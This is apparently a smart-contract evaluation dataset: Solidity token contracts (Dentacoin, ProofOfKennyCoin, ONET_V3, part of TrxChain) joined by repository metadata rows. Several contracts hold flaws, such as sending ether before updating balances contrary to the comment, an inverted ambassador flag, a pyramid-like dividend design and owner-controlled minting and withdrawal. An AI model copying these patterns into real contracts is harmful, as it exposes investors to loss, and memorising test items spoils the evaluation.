if (newOwner == 0x0) throw;
owner = newOwner;
}
}
contract SafeMath {
//internals
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract DentacoinToken is owned, SafeMath, StandardToken {
string public name = "Dentacoin"; // Set the name for display purposes
string public symbol = ""; // Set the symbol for display purposes
address public DentacoinAddress = this; // Address of the Dentacoin token
uint8 public decimals = 0; // Amount of decimals for display purposes
uint256 public totalSupply = 8000000000000; // Set total supply of Dentacoins (eight trillion)
uint256 public buyPriceEth = 1 finney; // Buy price for Dentacoins
uint256 public sellPriceEth = 1 finney; // Sell price for Dentacoins
uint256 public gasForDCN = 5 finney; // Eth from contract against DCN to pay tx (10 times sellPriceEth)
uint256 public DCNForGas = 10; // DCN to contract against eth to pay tx
uint256 public gasReserve = 1 ether; // Eth amount that remains in the contract for gas and can't be sold
uint256 public minBalanceForAccounts = 10 finney; // Minimal eth balance of sender and recipient
bool public directTradeAllowed = false; // Halt trading DCN by sending to the contract directly
function DentacoinToken() {
balances[msg.sender] = totalSupply; // Give the creator all tokens
}
function setEtherPrices(uint256 newBuyPriceEth, uint256 newSellPriceEth) onlyOwner {
buyPriceEth = newBuyPriceEth; // Set prices to buy and sell DCN
sellPriceEth = newSellPriceEth;
}
function setGasForDCN(uint newGasAmountInWei) onlyOwner {
gasForDCN = newGasAmountInWei;
}
function setDCNForGas(uint newDCNAmount) onlyOwner {
DCNForGas = newDCNAmount;
}
function setGasReserve(uint newGasReserveInWei) onlyOwner {
gasReserve = newGasReserveInWei;
}
function setMinBalance(uint minimumBalanceInWei) onlyOwner {
minBalanceForAccounts = minimumBalanceInWei;
}
function haltDirectTrade() onlyOwner {
directTradeAllowed = false;
}
function unhaltDirectTrade() onlyOwner {
directTradeAllowed = true;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (_value < DCNForGas) throw; // Prevents drain and spam
if (msg.sender != owner && _to == DentacoinAddress && directTradeAllowed) {
sellDentacoinsAgainstEther(_value); // Trade Dentacoins against eth by sending to the token contract
return true;
}
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // Check if sender has enough and for overflows
balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract DCN from the sender
if (msg.sender.balance >= minBalanceForAccounts && _to.balance >= minBalanceForAccounts) { // Check if sender can pay gas and if recipient could
balances[_to] = safeAdd(balances[_to], _value); // Add the same amount of DCN to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
} else {
balances[this] = safeAdd(balances[this], DCNForGas); // Pay DCNForGas to the contract
balances[_to] = safeAdd(balances[_to], safeSub(_value, DCNForGas)); // Recipient balance -DCNForGas
Transfer(msg.sender, _to, safeSub(_value, DCNForGas)); // Notify anyone listening that this transfer took place
if(msg.sender.balance < minBalanceForAccounts) {
if(!msg.sender.send(gasForDCN)) throw; // Send eth to sender
}
if(_to.balance < minBalanceForAccounts) {
if(!_to.send(gasForDCN)) throw; // Send eth to recipient
}
}
} else { throw; }
}
function buyDentacoinsAgainstEther() payable returns (uint amount) {
if (buyPriceEth == 0 || msg.value < buyPriceEth) throw; // Avoid dividing 0, sending small amounts and spam
amount = msg.value / buyPriceEth; // Calculate the amount of Dentacoins
if (balances[this] < amount) throw; // Check if it has enough to sell
balances[msg.sender] = safeAdd(balances[msg.sender], amount); // Add the amount to buyer's balance
balances[this] = safeSub(balances[this], amount); // Subtract amount from Dentacoin balance
Transfer(this, msg.sender, amount); // Execute an event reflecting the change
return amount;
}
function sellDentacoinsAgainstEther(uint256 amount) returns (uint revenue) {
if (sellPriceEth == 0 || amount < DCNForGas) throw; // Avoid selling and spam
if (balances[msg.sender] < amount) throw; // Check if the sender has enough to sell
revenue = safeMul(amount, sellPriceEth); // Revenue = eth that will be send to the user
if (safeSub(this.balance, revenue) < gasReserve) throw; // Keep min amount of eth in contract to provide gas for transactions
if (!msg.sender.send(revenue)) { // Send ether to the seller. It's important
throw; // To do this last to avoid recursion attacks
} else {
balances[this] = safeAdd(balances[this], amount); // Add the amount to Dentacoin balance
balances[msg.sender] = safeSub(balances[msg.sender], amount); // Subtract the amount from seller's balance
Transfer(this, msg.sender, revenue); // Execute an event reflecting on the change
return revenue; // End function and returns
}
}
function refundToOwner (uint256 amountOfEth, uint256 dcn) onlyOwner {
uint256 eth = safeMul(amountOfEth, 1 ether);
if (!msg.sender.send(eth)) { // Send ether to the owner. It's important
throw; // To do this last to avoid recursion attacks
} else {
Transfer(this, msg.sender, eth); // Execute an event reflecting on the change
}
if (balances[this] < dcn) throw; // Check if it has enough to sell
balances[msg.sender] = safeAdd(balances[msg.sender], dcn); // Add the amount to buyer's balance
balances[this] = safeSub(balances[this], dcn); // Subtract amount from seller's balance
Transfer(this, msg.sender, dcn); // Execute an event reflecting the change
}
function() payable {
if (msg.sender != owner) {
if (!directTradeAllowed) throw;
buyDentacoinsAgainstEther(); // Allow direct trades by sending eth to the contract
}
}
}
| 228,674 | 10,534 |
cabc307d11dbf7f8d20532a83c6a8924a2bcc2f316f39e186dd8aefea78c0412
| 24,564 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x758c5546f5ea74fb52dc73f2f110e46258a92b57.sol
| 4,523 | 17,734 |
pragma solidity ^0.4.20;
contract ProofOfKennyCoin {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = true;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ProofOfKennyCoin";
string public symbol = "POKC";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4; // Look, strong Math
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 50e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 3 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = false;
function ProofOfKennyCoin()
public
{
// add administrators here
administrators[0xCd39c70f9DF2A0D216c3A52C5A475914485a0625] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 223,055 | 10,535 |
abd01d5a6fece19a46bf5e13b64b3174adc5cee58f2210090721eec753f60712
| 11,132 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKmH7HVpdGpJXJ3Pozj3dJ9zWgVaxpPBb6_ONET_V3.sol
| 2,706 | 10,178 |
//SourceUnit: ONETV3.sol
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ONET_V3 is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "ONET_V3";
string public constant symbol = "ONET_V3";
uint public constant decimals = 18;
uint public deadline = now + 0 * 1 seconds; //Now
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 10 * 1 days;
uint256 public totalSupply = 80000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1000 ; //
uint256 public tokensPerEth =1e18; // Last updated price by admin
uint public target0drop = 0e18; //No
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 companyFund = 80000000e18; // 0
owner = msg.sender;
distr(owner, companyFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 10000 / 2; // Send 100000 trx or more and get 2% more ONET_V3 of round 1
uint256 bonusCond2 = 10000 / 1; // Send 100000 trx or more and get 1% more ONET_V3 of round 2
uint256 bonusCond3 = 10000 ;
tokens = tokensPerEth.mul(msg.value) / 1000 ;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 0 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 2 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0.0001e18;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 299,664 | 10,536 |
d7c70f34bd75ac5ed95e99acb67a3b8a754e096da7f8b8bedff0edccbecb9b04
| 13,795 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRoRsbsM56GXprPZJDMFXsXyc7YCEe1JYi_TrxChain.sol
| 3,870 | 13,221 |
//SourceUnit: TrxChain.sol
pragma solidity 0.5.10;
contract TrxChain {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
uint40 last_withdraw_time;
}
address payable public owner;
address payable public chain_fund;
address payable public community_fund;
address payable public admin_fee;
mapping(address => User) public users;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public BIGGEST_MATCH_BONUS = 10000000000 trx;
uint256 constant public BASE_TIME = 1 days;
uint256[15] public ref_bonuses = [20, 10, 10, 10, 10, 10, 10, 10, 5, 5, 5, 5, 5, 5, 5]; // 1 => 1%
